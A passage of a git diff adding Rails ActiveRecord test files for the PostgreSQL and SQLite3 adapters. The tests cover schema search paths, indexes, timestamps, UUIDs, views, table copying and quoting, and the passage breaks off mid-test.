+ assert_equal 1, Thing1.count
+ assert_equal 1, Thing2.count
+ assert_equal 0, Thing3.count
+ assert_equal 0, Thing4.count
+
+ Thing3.create(:id => 1, :name => "thing1", :email => "thing1 at localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 1, Thing2.count
+ assert_equal 1, Thing3.count
+ assert_equal 0, Thing4.count
+
+ Thing4.create(:id => 1, :name => "thing1", :email => "thing1 at localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 1, Thing2.count
+ assert_equal 1, Thing3.count
+ assert_equal 1, Thing4.count
+ end
+
+ def test_raise_on_unquoted_schema_name
+ assert_raises(ActiveRecord::StatementInvalid) do
+ with_schema_search_path '$user,public'
+ end
+ end
+
+ def test_without_schema_search_path
+ assert_raises(ActiveRecord::StatementInvalid) { columns(TABLE_NAME) }
+ end
+
+ def test_ignore_nil_schema_search_path
+ assert_nothing_raised { with_schema_search_path nil }
+ end
+
+ def test_dump_indexes_for_schema_one
+ do_dump_index_tests_for_schema(SCHEMA_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
+ end
+
+ def test_dump_indexes_for_schema_two
+ do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2, INDEX_D_COLUMN, INDEX_E_COLUMN)
+ end
+
+ def test_dump_indexes_for_schema_multiple_schemas_in_search_path
+ do_dump_index_tests_for_schema("public, #{SCHEMA_NAME}", INDEX_A_COLUMN, INDEX_B_COLUMN_S1, INDEX_D_COLUMN, INDEX_E_COLUMN)
+ end
+
+ def test_with_uppercase_index_name
+ ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+ assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "#{SCHEMA_NAME}.things_Index"}
+
+ ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+ ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
+ assert_nothing_raised { ActiveRecord::Base.connection.remove_index! "things", "things_Index"}
+ ActiveRecord::Base.connection.schema_search_path = "public"
+ end
+
+ def test_primary_key_with_schema_specified
+ [
+ %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
+ %(#{SCHEMA_NAME}."#{PK_TABLE_NAME}"),
+ %(#{SCHEMA_NAME}.#{PK_TABLE_NAME})
+ ].each do |given|
+ assert_equal 'id', @connection.primary_key(given), "primary key should be found when table referenced as #{given}"
+ end
+ end
+
+ def test_primary_key_assuming_schema_search_path
+ with_schema_search_path(SCHEMA_NAME) do
+ assert_equal 'id', @connection.primary_key(PK_TABLE_NAME), "primary key should be found"
+ end
+ end
+
+ def test_primary_key_raises_error_if_table_not_found_on_schema_search_path
+ with_schema_search_path(SCHEMA2_NAME) do
+ assert_raises(ActiveRecord::StatementInvalid) do
+ @connection.primary_key(PK_TABLE_NAME)
+ end
+ end
+ end
+
+ def test_pk_and_sequence_for_with_schema_specified
+ [
+ %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"),
+ %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+ ].each do |given|
+ pk, seq = @connection.pk_and_sequence_for(given)
+ assert_equal 'id', pk, "primary key should be found when table referenced as #{given}"
+ assert_equal "#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}")
+ assert_equal "#{UNMATCHED_SEQUENCE_NAME}", seq, "sequence name should be found when table referenced as #{given}" if given == %("#{SCHEMA_NAME}"."#{UNMATCHED_PK_TABLE_NAME}")
+ end
+ end
+
+ def test_current_schema
+ {
+ %('$user',public) => 'public',
+ SCHEMA_NAME => SCHEMA_NAME,
+ %(#{SCHEMA2_NAME},#{SCHEMA_NAME},public) => SCHEMA2_NAME,
+ %(public,#{SCHEMA2_NAME},#{SCHEMA_NAME}) => 'public'
+ }.each do |given,expect|
+ with_schema_search_path(given) { assert_equal expect, @connection.current_schema }
+ end
+ end
+
+ def test_prepared_statements_with_multiple_schemas
+
+ @connection.schema_search_path = SCHEMA_NAME
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1 at localhost", :moment => Time.now)
+
+ @connection.schema_search_path = SCHEMA2_NAME
+ Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1 at localhost", :moment => Time.now)
+
+ @connection.schema_search_path = SCHEMA_NAME
+ assert_equal 1, Thing5.count
+
+ @connection.schema_search_path = SCHEMA2_NAME
+ assert_equal 1, Thing5.count
+ end
+
+ def test_schema_exists?
+ {
+ 'public' => true,
+ SCHEMA_NAME => true,
+ SCHEMA2_NAME => true,
+ 'darkside' => false
+ }.each do |given,expect|
+ assert_equal expect, @connection.schema_exists?(given)
+ end
+ end
+
+ private
+ def columns(table_name)
+ @connection.send(:column_definitions, table_name).map do |name, type, default|
+ "#{name} #{type}" + (default ? " default #{default}" : '')
+ end
+ end
+
+ def with_schema_search_path(schema_search_path)
+ @connection.schema_search_path = schema_search_path
+ yield if block_given?
+ ensure
+ @connection.schema_search_path = "'$user', public"
+ end
+
+ def do_dump_index_tests_for_schema(this_schema_name, first_index_column_name, second_index_column_name, third_index_column_name, fourth_index_column_name)
+ with_schema_search_path(this_schema_name) do
+ indexes = @connection.indexes(TABLE_NAME).sort_by {|i| i.name}
+ assert_equal 4,indexes.size
+
+ do_dump_index_assertions_for_one_index(indexes[0], INDEX_A_NAME, first_index_column_name)
+ do_dump_index_assertions_for_one_index(indexes[1], INDEX_B_NAME, second_index_column_name)
+ do_dump_index_assertions_for_one_index(indexes[2], INDEX_D_NAME, third_index_column_name)
+ do_dump_index_assertions_for_one_index(indexes[3], INDEX_E_NAME, fourth_index_column_name)
+
+ indexes.select{|i| i.name != INDEX_E_NAME}.each do |index|
+ assert_equal :btree, index.using
+ end
+ assert_equal :gin, indexes.select{|i| i.name == INDEX_E_NAME}[0].using
+ assert_equal :desc, indexes.select{|i| i.name == INDEX_D_NAME}[0].orders[INDEX_D_COLUMN]
+ end
+ end
+
+ def do_dump_index_assertions_for_one_index(this_index, this_index_name, this_index_column)
+ assert_equal TABLE_NAME, this_index.table
+ assert_equal 1, this_index.columns.size
+ assert_equal this_index_column, this_index.columns[0]
+ assert_equal this_index_name, this_index.name
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/sql_types_test.rb b/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
new file mode 100644
index 0000000..d7d40f6
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/sql_types_test.rb
@@ -0,0 +1,18 @@
+require "cases/helper"
+
+class SqlTypesTest < ActiveRecord::TestCase
+ def test_binary_types
+ assert_equal 'bytea', type_to_sql(:binary, 100_000)
+ assert_raise ActiveRecord::ActiveRecordError do
+ type_to_sql :binary, 4294967295
+ end
+ assert_equal 'text', type_to_sql(:text, 100_000)
+ assert_raise ActiveRecord::ActiveRecordError do
+ type_to_sql :text, 4294967295
+ end
+ end
+
+ def type_to_sql(*args)
+ ActiveRecord::Base.connection.type_to_sql(*args)
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
new file mode 100644
index 0000000..f1c4b85
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb
@@ -0,0 +1,39 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class PostgreSQLAdapter < AbstractAdapter
+ class InactivePGconn
+ def query(*args)
+ raise PGError
+ end
+
+ def status
+ PGconn::CONNECTION_BAD
+ end
+ end
+
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+
+ def test_dealloc_does_not_raise_on_inactive_connection
+ cache = StatementPool.new InactivePGconn.new, 10
+ cache['foo'] = 'bar'
+ assert_nothing_raised { cache.clear }
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
new file mode 100644
index 0000000..dbc69a5
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb
@@ -0,0 +1,113 @@
+require 'cases/helper'
+require 'models/developer'
+require 'models/topic'
+
+class TimestampTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_group_by_date
+ keys = Topic.group("date_trunc('month', created_at)").count.keys
+ assert_operator keys.length, :>, 0
+ keys.each { |k| assert_kind_of Time, k }
+ end
+
+ def test_load_infinity_and_beyond
+ unless current_adapter?(:PostgreSQLAdapter)
+ return skip("only tested on postgresql")
+ end
+
+ d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at")
+ assert d.first.updated_at.infinite?, 'timestamp should be infinite'
+
+ d = Developer.find_by_sql("select '-infinity'::timestamp as updated_at")
+ time = d.first.updated_at
+ assert time.infinite?, 'timestamp should be infinite'
+ assert_operator time, :<, 0
+ end
+
+ def test_save_infinity_and_beyond
+ unless current_adapter?(:PostgreSQLAdapter)
+ return skip("only tested on postgresql")
+ end
+
+ d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0)
+ assert_equal(1.0 / 0.0, d.updated_at)
+
+ d = Developer.create!(:name => 'aaron', :updated_at => -1.0 / 0.0)
+ assert_equal(-1.0 / 0.0, d.updated_at)
+ end
+
+ def test_default_datetime_precision
+ ActiveRecord::Base.connection.create_table(:foos)
+ ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime
+ ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime
+ assert_nil activerecord_column_option('foos', 'created_at', 'precision')
+ end
+
+ def test_timestamp_data_type_with_precision
+ ActiveRecord::Base.connection.create_table(:foos)
+ ActiveRecord::Base.connection.add_column :foos, :created_at, :datetime, :precision => 0
+ ActiveRecord::Base.connection.add_column :foos, :updated_at, :datetime, :precision => 5
+ assert_equal 0, activerecord_column_option('foos', 'created_at', 'precision')
+ assert_equal 5, activerecord_column_option('foos', 'updated_at', 'precision')
+ end
+
+ def test_timestamps_helper_with_custom_precision
+ ActiveRecord::Base.connection.create_table(:foos) do |t|
+ t.timestamps :precision => 4
+ end
+ assert_equal 4, activerecord_column_option('foos', 'created_at', 'precision')
+ assert_equal 4, activerecord_column_option('foos', 'updated_at', 'precision')
+ end
+
+ def test_passing_precision_to_timestamp_does_not_set_limit
+ ActiveRecord::Base.connection.create_table(:foos) do |t|
+ t.timestamps :precision => 4
+ end
+ assert_nil activerecord_column_option("foos", "created_at", "limit")
+ assert_nil activerecord_column_option("foos", "updated_at", "limit")
+ end
+
+ def test_invalid_timestamp_precision_raises_error
+ assert_raises ActiveRecord::ActiveRecordError do
+ ActiveRecord::Base.connection.create_table(:foos) do |t|
+ t.timestamps :precision => 7
+ end
+ end
+ end
+
+ def test_postgres_agrees_with_activerecord_about_precision
+ ActiveRecord::Base.connection.create_table(:foos) do |t|
+ t.timestamps :precision => 4
+ end
+ assert_equal '4', pg_datetime_precision('foos', 'created_at')
+ assert_equal '4', pg_datetime_precision('foos', 'updated_at')
+ end
+
+ def test_bc_timestamp
+ unless current_adapter?(:PostgreSQLAdapter)
+ return skip("only tested on postgresql")
+ end
+ date = Date.new(0) - 1.second
+ Developer.create!(:name => "aaron", :updated_at => date)
+ assert_equal date, Developer.find_by_name("aaron").updated_at
+ end
+
+ private
+
+ def pg_datetime_precision(table_name, column_name)
+ results = ActiveRecord::Base.connection.execute("SELECT column_name, datetime_precision FROM information_schema.columns WHERE table_name ='#{table_name}'")
+ result = results.find do |result_hash|
+ result_hash["column_name"] == column_name
+ end
+ result && result["datetime_precision"]
+ end
+
+ def activerecord_column_option(tablename, column_name, option)
+ result = ActiveRecord::Base.connection.columns(tablename).find do |column|
+ column.name == column_name
+ end
+ result && result.send(option)
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
new file mode 100644
index 0000000..9e7b08e
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -0,0 +1,20 @@
+require 'cases/helper'
+
+class PostgreSQLUtilsTest < ActiveSupport::TestCase
+ include ActiveRecord::ConnectionAdapters::PostgreSQLAdapter::Utils
+
+ def test_extract_schema_and_table
+ {
+ %(table_name) => [nil,'table_name'],
+ %("table.name") => [nil,'table.name'],
+ %(schema.table_name) => %w{schema table_name},
+ %("schema".table_name) => %w{schema table_name},
+ %(schema."table_name") => %w{schema table_name},
+ %("schema"."table_name") => %w{schema table_name},
+ %("even spaces".table) => ['even spaces','table'],
+ %(schema."table.name") => ['schema', 'table.name']
+ }.each do |given, expect|
+ assert_equal expect, extract_schema_and_table(given)
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
new file mode 100644
index 0000000..c0c0e88
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -0,0 +1,53 @@
+# encoding: utf-8
+
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+class PostgresqlUUIDTest < ActiveRecord::TestCase
+ class UUID < ActiveRecord::Base
+ self.table_name = 'pg_uuids'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ unless @connection.supports_extensions?
+ return skip "do not test on PG without uuid-ossp"
+ end
+
+ unless @connection.extension_enabled?('uuid-ossp')
+ @connection.enable_extension 'uuid-ossp'
+ @connection.commit_db_transaction
+ end
+
+ @connection.reconnect!
+
+ @connection.transaction do
+ @connection.create_table('pg_uuids', id: :uuid) do |t|
+ t.string 'name'
+ t.uuid 'other_uuid', default: 'uuid_generate_v4()'
+ end
+ end
+ end
+
+ def teardown
+ @connection.execute 'drop table if exists pg_uuids'
+ end
+
+ def test_id_is_uuid
+ assert_equal :uuid, UUID.columns_hash['id'].type
+ assert UUID.primary_key
+ end
+
+ def test_id_has_a_default
+ u = UUID.create
+ assert_not_nil u.id
+ end
+
+ def test_auto_create_uuid
+ u = UUID.create
+ u.reload
+ assert_not_nil u.other_uuid
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/view_test.rb b/activerecord/test/cases/adapters/postgresql/view_test.rb
new file mode 100644
index 0000000..66e07b7
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/view_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+class ViewTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ SCHEMA_NAME = 'test_schema'
+ TABLE_NAME = 'things'
+ VIEW_NAME = 'view_things'
+ COLUMNS = [
+ 'id integer',
+ 'name character varying(50)',
+ 'email character varying(50)',
+ 'moment timestamp without time zone'
+ ]
+
+ class ThingView < ActiveRecord::Base
+ self.table_name = 'test_schema.view_things'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE VIEW #{SCHEMA_NAME}.#{VIEW_NAME} AS SELECT id,name,email,moment FROM #{SCHEMA_NAME}.#{TABLE_NAME}"
+ end
+
+ def teardown
+ @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE"
+ end
+
+ def test_table_exists
+ name = ThingView.table_name
+ assert @connection.table_exists?(name), "'#{name}' table should exist"
+ end
+
+ def test_column_definitions
+ assert_nothing_raised do
+ assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{VIEW_NAME}")
+ end
+ end
+
+ private
+ def columns(table_name)
+ @connection.send(:column_definitions, table_name).map do |name, type, default|
+ "#{name} #{type}" + (default ? " default #{default}" : '')
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
new file mode 100644
index 0000000..e78cb88
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb
@@ -0,0 +1,99 @@
+require "cases/helper"
+
+class CopyTableTest < ActiveRecord::TestCase
+ fixtures :customers, :companies, :comments, :binaries
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ class << @connection
+ public :copy_table, :table_structure, :indexes
+ end
+ end
+
+ def test_copy_table(from = 'customers', to = 'customers2', options = {})
+ assert_nothing_raised {copy_table(from, to, options)}
+ assert_equal row_count(from), row_count(to)
+
+ if block_given?
+ yield from, to, options
+ else
+ assert_equal column_names(from), column_names(to)
+ end
+
+ @connection.drop_table(to) rescue nil
+ end
+
+ def test_copy_table_renaming_column
+ test_copy_table('customers', 'customers2',
+ :rename => {'name' => 'person_name'}) do |from, to, options|
+ expected = column_values(from, 'name')
+ assert_equal expected, column_values(to, 'person_name')
+ assert expected.any?, "No values in table: #{expected.inspect}"
+ end
+ end
+
+ def test_copy_table_allows_to_pass_options_to_create_table
+ @connection.create_table('blocker_table')
+ test_copy_table('customers', 'blocker_table', force: true)
+ end
+
+ def test_copy_table_with_index
+ test_copy_table('comments', 'comments_with_index') do
+ @connection.add_index('comments_with_index', ['post_id', 'type'])
+ test_copy_table('comments_with_index', 'comments_with_index2') do
+ assert_equal table_indexes_without_name('comments_with_index'),
+ table_indexes_without_name('comments_with_index2')
+ end
+ end
+ end
+
+ def test_copy_table_without_primary_key
+ test_copy_table('developers_projects', 'programmers_projects') do
+ assert_nil @connection.primary_key('programmers_projects')
+ end
+ end
+
+ def test_copy_table_with_id_col_that_is_not_primary_key
+ test_copy_table('goofy_string_id', 'goofy_string_id2') do
+ original_id = @connection.columns('goofy_string_id').detect{|col| col.name == 'id' }
+ copied_id = @connection.columns('goofy_string_id2').detect{|col| col.name == 'id' }
+ assert_equal original_id.type, copied_id.type
+ assert_equal original_id.sql_type, copied_id.sql_type
+ assert_equal original_id.limit, copied_id.limit
+ assert_equal original_id.primary, copied_id.primary
+ end
+ end
+
+ def test_copy_table_with_unconventional_primary_key
+ test_copy_table('owners', 'owners_unconventional') do
+ original_pk = @connection.primary_key('owners')
+ copied_pk = @connection.primary_key('owners_unconventional')
+ assert_equal original_pk, copied_pk
+ end
+ end
+
+ def test_copy_table_with_binary_column
+ test_copy_table 'binaries', 'binaries2'
+ end
+
+protected
+ def copy_table(from, to, options = {})
+ @connection.copy_table(from, to, {:temporary => true}.merge(options))
+ end
+
+ def column_names(table)
+ @connection.table_structure(table).map {|column| column['name']}
+ end
+
+ def column_values(table, column)
+ @connection.select_all("SELECT #{column} FROM #{table} ORDER BY id").map {|row| row[column]}
+ end
+
+ def table_indexes_without_name(table)
+ @connection.indexes(table).delete(:name)
+ end
+
+ def row_count(table)
+ @connection.select_one("SELECT COUNT(*) AS count FROM #{table}")['count']
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/explain_test.rb b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
new file mode 100644
index 0000000..b227bce
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/explain_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+require 'models/developer'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3Adapter
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_explain_for_one_query
+ explain = Developer.where(:id => 1).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+ end
+
+ def test_explain_with_eager_loading
+ explain = Developer.where(:id => 1).includes(:audit_logs).explain
+ assert_match %(EXPLAIN for: SELECT "developers".* FROM "developers" WHERE "developers"."id" = 1), explain
+ assert_match(/(SEARCH )?TABLE developers USING (INTEGER )?PRIMARY KEY/, explain)
+ assert_match %(EXPLAIN for: SELECT "audit_logs".* FROM "audit_logs" WHERE "audit_logs"."developer_id" IN (1)), explain
+ assert_match(/(SCAN )?TABLE audit_logs/, explain)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
new file mode 100644
index 0000000..a7b2764
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -0,0 +1,102 @@
+require "cases/helper"
+require 'bigdecimal'
+require 'yaml'
+require 'securerandom'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3Adapter
+ class QuotingTest < ActiveRecord::TestCase
+ def setup
+ @conn = Base.sqlite3_connection :database => ':memory:',
+ :adapter => 'sqlite3',
+ :timeout => 100
+ end
+
+ def test_type_cast_binary_encoding_without_logger
+ @conn.extend(Module.new { def logger; end })
+ column = Struct.new(:type, :name).new(:string, "foo")
+ binary = SecureRandom.hex
+ expected = binary.dup.encode!(Encoding::UTF_8)
+ assert_equal expected, @conn.type_cast(binary, column)
+ end
+
+ def test_type_cast_symbol
+ assert_equal 'foo', @conn.type_cast(:foo, nil)
+ end
+
+ def test_type_cast_date
+ date = Date.today
+ expected = @conn.quoted_date(date)
+ assert_equal expected, @conn.type_cast(date, nil)
+ end
+
+ def test_type_cast_time
+ time = Time.now
+ expected = @conn.quoted_date(time)
+ assert_equal expected, @conn.type_cast(time, nil)
+ end
+
+ def test_type_cast_numeric
+ assert_equal 10, @conn.type_cast(10, nil)
+ assert_equal 2.2, @conn.type_cast(2.2, nil)
+ end
+
+ def test_type_cast_nil
+ assert_equal nil, @conn.type_cast(nil, nil)
+ end
+
+ def test_type_cast_true
+ c = Column.new(nil, 1, 'int')
+ assert_equal 't', @conn.type_cast(true, nil)
+ assert_equal 1, @conn.type_cast(true, c)
+ end
+
+ def test_type_cast_false
+ c = Column.new(nil, 1, 'int')
+ assert_equal 'f', @conn.type_cast(false, nil)
+ assert_equal 0, @conn.type_cast(false, c)
+ end
+
+ def test_type_cast_string
+ assert_equal '10', @conn.type_cast('10', nil)
+
+ c = Column.new(nil, 1, 'int')
+ assert_equal 10, @conn.type_cast('10', c)
+
+ c = Column.new(nil, 1, 'float')
+ assert_equal 10.1, @conn.type_cast('10.1', c)
+
+ c = Column.new(nil, 1, 'binary')
+ assert_equal '10.1', @conn.type_cast('10.1', c)
+
+ c = Column.new(nil, 1, 'date')
+ assert_equal '10.1', @conn.type_cast('10.1', c)
+ end
+
+ def test_type_cast_bigdecimal
+ bd = BigDecimal.new '10.0'
+ assert_equal bd.to_f, @conn.type_cast(bd, nil)
+ end
+
+ def test_type_cast_unknown_should_raise_error
+ obj = Class.new.new
+ assert_raise(TypeError) { @conn.type_cast(obj, nil) }
+ end
+
+ def test_quoted_id
+ quoted_id_obj = Class.new {
+ def quoted_id
+ "'zomg'"
+ end
+
+ def id
+ 10
+ end
+ }.new
+ assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
new file mode 100644
index 0000000..d51d425
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -0,0 +1,366 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/owner'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3AdapterTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ class DualEncoding < ActiveRecord::Base
+ end
+
+ def setup
+ @conn = Base.sqlite3_connection :database => ':memory:',
+ :adapter => 'sqlite3',
+ :timeout => 100
+ @conn.execute <<-eosql
+ CREATE TABLE items (
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer
+ )
+ eosql
+
+ @conn.extend(LogIntercepter)
+ @conn.intercepted = true
+ end
+
+ def test_valid_column
+ column = @conn.columns('items').find { |col| col.name == 'id' }
+ assert @conn.valid_type?(column.type)
+ end
+
+ # sqlite databses should be able to support any type and not
+ # just the ones mentioned in the native_database_types.
+ # Therefore test_invalid column should always return true
+ # even if the type is not valid.
+ def test_invalid_column
+ assert @conn.valid_type?(:foobar)
+ end
+
+ def teardown
+ @conn.intercepted = false
+ @conn.logged = []
+ end
+
+ def test_column_types
+ owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
+ owner.reload
+ select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
+ result = Owner.connection.exec_query <<-esql
+ SELECT #{select}
+ FROM #{Owner.table_name}
+ WHERE #{Owner.primary_key} = #{owner.id}
+ esql
+
+ assert(!result.rows.first.include?("blob"), "should not store blobs")
+ end
+
+ def test_exec_insert
+ column = @conn.columns('items').find { |col| col.name == 'number' }
+ vals = [[column, 10]]
+ @conn.exec_insert('insert into items (number) VALUES (?)', 'SQL', vals)
+
+ result = @conn.exec_query(
+ 'select number from items where number = ?', 'SQL', vals)
+
+ assert_equal 1, result.rows.length
+ assert_equal 10, result.rows.first.first
+ end
+
+ def test_primary_key_returns_nil_for_no_pk
+ @conn.exec_query('create table ex(id int, data string)')
+ assert_nil @conn.primary_key('ex')
+ end
+
+ def test_connection_no_db
+ assert_raises(ArgumentError) do
+ Base.sqlite3_connection {}
+ end
+ end
+
+ def test_bad_timeout
+ assert_raises(TypeError) do
+ Base.sqlite3_connection :database => ':memory:',
+ :adapter => 'sqlite3',
+ :timeout => 'usa'
+ end
+ end
+
+ # connection is OK with a nil timeout
+ def test_nil_timeout
+ conn = Base.sqlite3_connection :database => ':memory:',
+ :adapter => 'sqlite3',
+ :timeout => nil
+ assert conn, 'made a connection'
+ end
+
+ def test_connect
+ assert @conn, 'should have connection'
+ end
+
+ # sqlite3 defaults to UTF-8 encoding
+ def test_encoding
+ assert_equal 'UTF-8', @conn.encoding
+ end
+
+ def test_bind_value_substitute
+ bind_param = @conn.substitute_at('foo', 0)
+ assert_equal Arel.sql('?'), bind_param
+ end
+
+ def test_exec_no_binds
+ @conn.exec_query('create table ex(id int, data string)')
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
+
+ def test_exec_query_with_binds
+ @conn.exec_query('create table ex(id int, data string)')
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
+
+ def test_exec_query_typecasts_bind_vals
+ @conn.exec_query('create table ex(id int, data string)')
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
+
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
+
+ def test_quote_binary_column_escapes_it
+ DualEncoding.connection.execute(<<-eosql)
+ CREATE TABLE dual_encodings (
+ id integer PRIMARY KEY AUTOINCREMENT,
+ name string,
+ data binary
+ )
+ eosql
+ str = "\x80".force_encoding("ASCII-8BIT")
+ binary = DualEncoding.new :name => 'いただきます!', :data => str
+ binary.save!
+ assert_equal str, binary.data
+
+ ensure
+ DualEncoding.connection.drop_table('dual_encodings')
+ end
+
+ def test_type_cast_should_not_mutate_encoding
+ name = 'hello'.force_encoding(Encoding::ASCII_8BIT)
+ Owner.create(name: name)
+ assert_equal Encoding::ASCII_8BIT, name.encoding
+ end
+
+ def test_execute
+ @conn.execute "INSERT INTO items (number) VALUES (10)"
+ records = @conn.execute "SELECT * FROM items"
+ assert_equal 1, records.length
+
+ record = records.first
+ assert_equal 10, record['number']
+ assert_equal 1, record['id']
+ end
+
+ def test_quote_string
+ assert_equal "''", @conn.quote_string("'")
+ end
+
+ def test_insert_sql
+ 2.times do |i|
+ rv = @conn.insert_sql "INSERT INTO items (number) VALUES (#{i})"
+ assert_equal(i + 1, rv)
+ end
+
+ records = @conn.execute "SELECT * FROM items"
+ assert_equal 2, records.length
+ end
+
+ def test_insert_sql_logged
+ sql = "INSERT INTO items (number) VALUES (10)"
+ name = "foo"
+
+ assert_logged([[sql, name, []]]) do
+ @conn.insert_sql sql, name
+ end
+ end
+
+ def test_insert_id_value_returned
+ sql = "INSERT INTO items (number) VALUES (10)"
+ idval = 'vuvuzela'
+ id = @conn.insert_sql sql, nil, nil, idval
+ assert_equal idval, id
+ end
+
+ def test_select_rows
+ 2.times do |i|
+ @conn.create "INSERT INTO items (number) VALUES (#{i})"
+ end
+ rows = @conn.select_rows 'select number, id from items'
+ assert_equal [[0, 1], [1, 2]], rows
+ end
+
+ def test_select_rows_logged
+ sql = "select * from items"
+ name = "foo"
+
